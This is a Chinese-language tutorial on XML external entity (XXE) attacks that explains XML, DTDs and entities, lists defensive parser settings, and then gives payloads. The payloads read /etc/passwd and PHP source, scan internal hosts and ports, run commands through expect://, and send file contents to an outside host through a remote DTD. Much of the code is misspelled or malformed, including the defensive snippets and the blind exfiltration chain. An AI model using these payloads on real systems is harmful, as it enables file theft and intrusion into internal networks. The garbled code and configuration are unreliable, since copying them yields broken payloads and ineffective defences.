XXE
什么是XXE?
XXE全程xml外部实体,从安全角度来讲,由此引发的漏洞称之为XML外部实体攻击
XML作为一种使用较为广泛的数据传输格式,很多应用程序都包含有处理xml数据的代码,
许多过时或配置不当的XML处理器都会对外部实体进行引用,如果攻击者可以上传XML文档或者在XML文档
中添加恶意内容,通过易受攻击的代码,就能够攻击包含缺陷的XML处理器,XXE漏洞的出现和开发语言无关
只要是应用程序中对XML数据做了解析,而且这些数据又受用户控制,那么应用程序都可能受到XXE攻击
什么是XML?
XML是可扩展表示语言的简写
XML的设计宗旨是传输数据,不是显示数据。XML在web中应用十分广泛,XML是各种应用程序之间数据传输最常用的工具
,与HTML的区别在于一个被设计用来展示数据,一个用来传输数据
XML指可扩展标记语言
XML是一种标记语言很类似HTML
XML的设计宗旨是传输数据,而非显示数据
XML的标签没有被预定义,您需要自行定义标签
XML被设计为具有自我描述性
XML是W3C的推荐标准
XXE漏洞影响
XXE(外部实体注入)是XML注入的一种,普通的XML注入利用面比较狭窄,如果有的话也是逻辑类漏洞XXE扩大了攻击面
当允许引用外部实体时,就可能导致一下危害
- 任意文件读取
- 系统命令执行
- 内网端口探测
- 攻击内网网站
- 钓鱼
XXE注入防御
1.使用开发语言提供的禁用外部实体的方法
PHP:
libxml_disable_entity_loade(true)
2.JAVA:
DocumentBuilderFactory bdf = DocumentBuilderFactory.newlnstance()
dbf.setExpanEntityReferences(false)
3.python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLparser(resovlve_entities=False))
4.过滤提交的XML数据
过滤关键词
<!DOTYPE>,<!ENTITY SYSTEM、PUBLIC>XXE基本定义格式
<?xml version="1.0"?>---XML声明
<!DOCTYPE TEST [<!ENTITY xxe SYSTEM "file://etc/passwd">]>----DTD部分
<catalog>
<core id ="test101">
<author>John</author>
<title>I love XML</title>
<category>Computers</category>------XML部分
<pricr>9.99</pricr>
<data>2018-10-01</data>
<description>&xxe;</description>
]>----DTD部分
XML基本语法
一个简单的XML文档,XML使用简单的具有自我描述性的语法
<?xml version="1.0",encoding="ISO-8859-1"?>
XML声明,它定义了XML的版本(1.0)和所使用的编码
什么是DTD?
文档类型定义(DTD)可定义合法的XML文档构建模块。DTD可被成行地声明与XML文档中,也可作为一个外部引用
<?xml version="1.0"?>---XML声明
<!DOCTYPE TEST [<!ENTITY xxe SYSTEM "file://etc/passwd">]>----DTD部分
<catalog>
<core id ="test101">
<author>John</author>
<title>I love XML</title>
<category>Computers</category>------XML部分
<pricr>9.99</pricr>
<data>2018-10-01</data>
<description>&xxe;</description>
什么是实体?
实体(类似于其他语言中的变量定义)
如果在XML文档中需要频繁使用某一条数据,我们可以预先给这个数据起一个别名(类似语言中的一个变量的应以)
即一个ENTITY,然后再文档中调用他,XML定义了两种类型的ENTITY,一种再XML文档中使用,另一个中作为参数再DTD文件中使用
ENTITY的定义语法
<!DOCTYPE 文件名[
<!ENTITY 实体名 SYSTEM "URL">
<!ENTITY 实体名 SYSTEM "URL">
]>
<note>
<to>ZHANGSAN</TO>
<from>LISI</from>
<head>data</head>
<body>&实体名1;</body>
</note>
实体(ENTITY)如何读取文件
关键字SYSTEM会令XML解析器从URL(实体内容)中读取内容信息,并允许它在XML文中被替换
真正读取的是PHP有一个处理XML的函数:simplexml_load_string()
<?php
$test = '<!DOCTYPE scan [<!ENTITY name SYSTEM "file://c:/1.txt">]><scan>$name;</scan>';
$obj = simplexml_load_string($test,'SimpleXMLElemet',LIBXML_NOENT);
print_r($obj)
?>
变量test里面是XML,利用simplexml_load_string 将其转化为对象,第一个参数是XML语句,SimpleXMLElement是调用这个类,LIBXML_NOENT是替代实体,它去执行file协议读取1.txt文件
实体(ENTITY)扩展-外部应用
<!ENTITY> 实体名 SYSTEN "URL">外部引用可支持http、file等协议,不同的语言支持的协议不同,但存在一些通用的协议,具体内容如下所示
- ilbxml2 ==== file、http、ftp
- PHP===file、http、ftp、php、compress.zlib、compress.bzip2、data、glob、phar
- Java===http、https、ftp、file、jar、netdoc、mailto、gophar
- .NET===file、http、https、ftp
实体(ENTITY)扩展
<!ENTITY 实体名 SYSTEM "URI/URL">
常见的普通实体如下:
<!ENTITY wrirte SYSTEM "kervin">
常见的URL实体如下:
<!ENTITY wrirte SYSTEM "php://filter/convert.base64-endoce/resource=key.php"> ---读取源码使用BASE64加密
<!ENTIY wrirte SYSTEM "http://www.dota.com/entities.dtd">
<!ENTITY wrirte SYSTEM "file://etc/passwd">
XXE实战(具体应用举例)
-
文件读取
利用file:// php://等伪协议进行文件获取(获取代码最好使用php://file://进行base64编码)
php://filter/convert.base64-encode/resource=1.php
<!DOCTYPE TEST [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=1.php">]>----DTD部分 <catalog> <core id ="test101"> <author>John</author> <title>I love XML</title> <category>Computers</category>------XML部分 <pricr>9.99</pricr> <data>2018-10-01</data> <description>&xxe;</description>---内容在$xxe处回显
-
系统文件读取
<!DOCTYPE TEST [<!ENTITY xxe SYSTEM "file://etc/passwd">]>----DTD部分 <catalog> <core id ="test101"> <author>John</author> <title>I love XML</title> <category>Computers</category>------XML部分 <pricr>9.99</pricr> <data>2018-10-01</data> <description>&xxe;</description>
-
内网主机扫描
利用协议和ip地址最后一位字典遍历,结合Brup爆破返回数据包长度判断
<!DOCTYPE TEST [<!ENTITY xxe SYSTEM "http://192.168.1.1">]>----DTD部分 <catalog> <core id ="test101"> <author>John</author> <title>I love XML</title> <category>Computers</category>------XML部分 <pricr>9.99</pricr> <data>2018-10-01</data> <description>&xxe;</description>
-
端口探测
代码将尝试于端口8080通信,根据响应事件/长度攻击者可以判断该端口是否被开启
<!DOCTYPE TEST [<!ENTITY xxe SYSTEM "http://192.168.1.1:8080">]>----DTD部分 <catalog> <core id ="test101"> <author>John</author> <title>I love XML</title> <category>Computers</category>------XML部分 <pricr>9.99</pricr> <data>2018-10-01</data> <description>&xxe;</description>
-
远程代码执行
这种情况很少发生,但有些情况下攻击者能够通过XXE执行代码,主要是由于配置不当/开发内部应用导致的,且PHP的expect模块被加载到了易受攻击的系统或处理XML的内部应用上,那么我们就可以执行如下命令
<!DOCTYPE TEST [<!ENTITY xxe SYSTEM "expect://id">]>----DTD部分
<catalog>
<core id ="test101">
<author>John</author>
<title>I love XML</title>
<category>Computers</category>------XML部分
<pricr>9.99</pricr>
<data>2018-10-01</data>
<description>&xxe;</description>
XXE-进阶(Blind OOB XEE)
很多时候XXE并不会把我们想要 读取的内容直接返回给我们(没有回显)类似于SQL注入中的盲注一样,关键数据不会直接显示在界面或则数据包中
利用file_put_contents写文件
这里XXE如果无回显,采用构建一条外带数据(OOB)通道把数据带出来直接写文件已达到读取数据的目的
构造payload1
<!DOCTYPE convert [<!ENTITY % SYSTEM "http://192.168.1.1/xxe.dtd">]
%remote
%int
%send
>----DTD部分 从192.168.1.1下载payload2
<catalog>
<core id ="test101">
<author>John</author>
<title>I love XML</title>
<category>Computers</category>------XML部分
<pricr>9.99</pricr>zhe
<data>2018-10-01</data>
<description>&xxe;</description>
payload2
<!DOCTYPE TEST [<!ENTITY %file SYSTEM "php://filter/read=convert.base64-encode/resource=key.php">]>
<!DOCTYPE TEST [<!ENTITY %int "<ENTITY %send SYSTEM 'http://192.168.0.1/xxe.php?p=%file;'>">]>